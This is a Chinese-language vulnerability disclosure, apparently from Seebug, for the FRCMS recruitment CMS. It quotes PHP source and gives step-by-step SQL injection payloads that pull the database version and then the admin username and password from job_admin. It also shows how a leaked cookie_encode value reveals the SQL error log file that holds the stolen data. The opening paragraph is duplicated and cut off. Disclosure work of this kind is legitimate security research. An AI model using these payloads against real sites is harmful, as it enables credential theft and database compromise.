### 简要描述: 最新版 20150126 ### 详细说明: 看到\frcms\member\company_myexpert.php ``` elseif($do=='myexpert'){ if($Glimit[1]<0){showmsg('您所在的会员组您无权使用人才库!',"-1",0,2000);exit();} require_once(FR_ROOT.'/inc/paylog.inc.php'); $checksnum=count(explode(',',$checks)); //var_dump($uinfo['m_name']); //exit; if($Glimit[1]&&$uinfo['limit'][11]<$checksnum){showmsg('您的人才库可用数量不足,请返回重新选择!',"-1",0,2000);exit();} if($checks!=''){ $sql="select r_id,r_name,r_sex,r_birth,r_edu,r_member from {$cfg['tb_pre']}resume where r_id in ($checks) order by r_adddate desc limit 0,$checksnum"; $query=$db->query($sql); $i=0; while($row=$db->fetch_array($query)){ $rsd = $db->get_one("select * from {$cfg['tb_pre']}myexpert where m_pmember='$row[r_member]' and m_cmember='$username' and m_rid=$row[r_id] limit 0,1"); if(!$rsd){ $db ->query("INSERT INTO {$cfg['tb_pre']}myexpert (m_rid,m_name,m_sex,m_birth,m_edu,m_cmember,m_pmember,m_adddate,m_exp)...
### 简要描述: 最新版 20150126 ### 详细说明: 看到\frcms\member\company_myexpert.php ``` elseif($do=='myexpert'){ if($Glimit[1]<0){showmsg('您所在的会员组您无权使用人才库!',"-1",0,2000);exit();} require_once(FR_ROOT.'/inc/paylog.inc.php'); $checksnum=count(explode(',',$checks)); //var_dump($uinfo['m_name']); //exit; if($Glimit[1]&&$uinfo['limit'][11]<$checksnum){showmsg('您的人才库可用数量不足,请返回重新选择!',"-1",0,2000);exit();} if($checks!=''){ $sql="select r_id,r_name,r_sex,r_birth,r_edu,r_member from {$cfg['tb_pre']}resume where r_id in ($checks) order by r_adddate desc limit 0,$checksnum"; $query=$db->query($sql); $i=0; while($row=$db->fetch_array($query)){ $rsd = $db->get_one("select * from {$cfg['tb_pre']}myexpert where m_pmember='$row[r_member]' and m_cmember='$username' and m_rid=$row[r_id] limit 0,1"); if(!$rsd){ $db ->query("INSERT INTO {$cfg['tb_pre']}myexpert (m_rid,m_name,m_sex,m_birth,m_edu,m_cmember,m_pmember,m_adddate,m_exp) VALUES('$row[r_id]','$row[r_name]','$row[r_sex]','$row[r_birth]','$row[r_edu]','$username','$row[r_member]',NOW(),1)"); //注入一 $i++; //添加会员交互记录 adddynamic($Memberid,$uinfo['m_name'],2,8,$row['r_id'],$row['r_name'],5);//注入二 ``` 跟进adddynamic ``` function adddynamic($mid,$name,$typeid,$operation,$bid,$bname,$type){ global $cfg,$db; $db->query("INSERT INTO {$cfg['tb_pre']}dynamic(`d_mid`,`d_name`,`d_typeid`,`d_operation`,`d_bid`,`d_bname`,`d_type`,`d_time`) VALUES('$mid','$name','$typeid','$operation','$bid','$bname','$type',NOW())"); ``` 第一处 首先注册一个用户,然后新建一份简历,抓包把简历名修改为 ``` ' or updatexml(1,concat(0x7e,(version())),0) or' ``` [<img src="https://images.seebug.org/upload/201503/12222343913596d37617780101e1f3aa874e3824.png" alt="13.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/12222343913596d37617780101e1f3aa874e3824.png) 并且记录rid的值,这里我们的rid值为7。然后注册一个企业用户。 访问 ``` http://127.0.0.1/frcms/member/index.php?m=company_myexpert&do=myexpert&checks=7 ``` 可以发现mysql报错了。 [<img src="https://images.seebug.org/upload/201503/122228253ea5aefb552670e226a03e2b009c5d08.png" alt="14.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/122228253ea5aefb552670e226a03e2b009c5d08.png) 发现mysql报错了,这cms会把错误记录到一个文件里面。如下代码实现 ``` function log_write($message, $type = 'php') { global $cfg, $fr_time, $username; $userip = getip(); $fr_time or $fr_time = time(); $user = $username ? $username : 'guest'; dir_create(DATA_ROOT.'/log/'); $log_file = DATA_ROOT.'/log/'.$type.'_'.md5($cfg['cookie_encode']).'.txt'; $log = date('Y-m-d H:i:s', $fr_time)."||$userip||$user||".$_SERVER['SCRIPT_NAME']."||".str_replace('&', '&', $_SERVER['QUERY_STRING'])."||$message\r\n"; $olog=file_get_contents($log_file); fputs(fopen($log_file,"w"), $log.$olog); } ``` 主要是要获取到$cfg['cookie_encode']这个值,然后就可以找到这个文件了。 我们可以看到在最新版cookie是这样设置的。 ``` function _setcookie($var, $value = '', $time = 0) { global $cfg, $fr_time; $time = $time > 0 ? $fr_time+$time : (empty($value) ? $fr_time - 3600 : 0); $port = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; $var = $cfg['cookie_pre'].$var;$value&&$value=base64_encode($value.$cfg['cookie_encode']); return setcookie($var, $value, $time, $cfg['cookie_path'], $cfg['cookie_domain'], $port); } ``` 可以看到这儿就泄露了。 然后可以得到$cfg['cookie_encode'])为SgZQd3305V, 日志文件路径为 ``` http://127.0.0.1/frcms/data/log/sql_e15a0a25dbd4030a31357433e2a1b26a.txt ``` [<img src="https://images.seebug.org/upload/201503/12223148f36b8a3b85adddeb38dd83796c32431c.png" alt="15.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/12223148f36b8a3b85adddeb38dd83796c32431c.png) 第二处 首先注册一个企业用户,抓包把公司名修改为 ``` 'or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) ,0)# or ``` [<img src="https://images.seebug.org/upload/201503/12223408e693dfd8be70487f69add42856a775c0.png" alt="16.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/12223408e693dfd8be70487f69add42856a775c0.png) 然后任意访问一份简历,可以发现报错 [<img src="https://images.seebug.org/upload/201503/12223448d5b928ce248663da944c595441583154.png" alt="21.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/12223448d5b928ce248663da944c595441583154.png) 用同样的方法找到文件,可以看到数据已经出现了。 [<img src="https://images.seebug.org/upload/201503/122235341b0eb67226757ab1ae1940ffffcb436b.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/122235341b0eb67226757ab1ae1940ffffcb436b.png) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201503/12223148f36b8a3b85adddeb38dd83796c32431c.png" alt="15.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/12223148f36b8a3b85adddeb38dd83796c32431c.png) [<img src="https://images.seebug.org/upload/201503/122235341b0eb67226757ab1ae1940ffffcb436b.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/122235341b0eb67226757ab1ae1940ffffcb436b.png)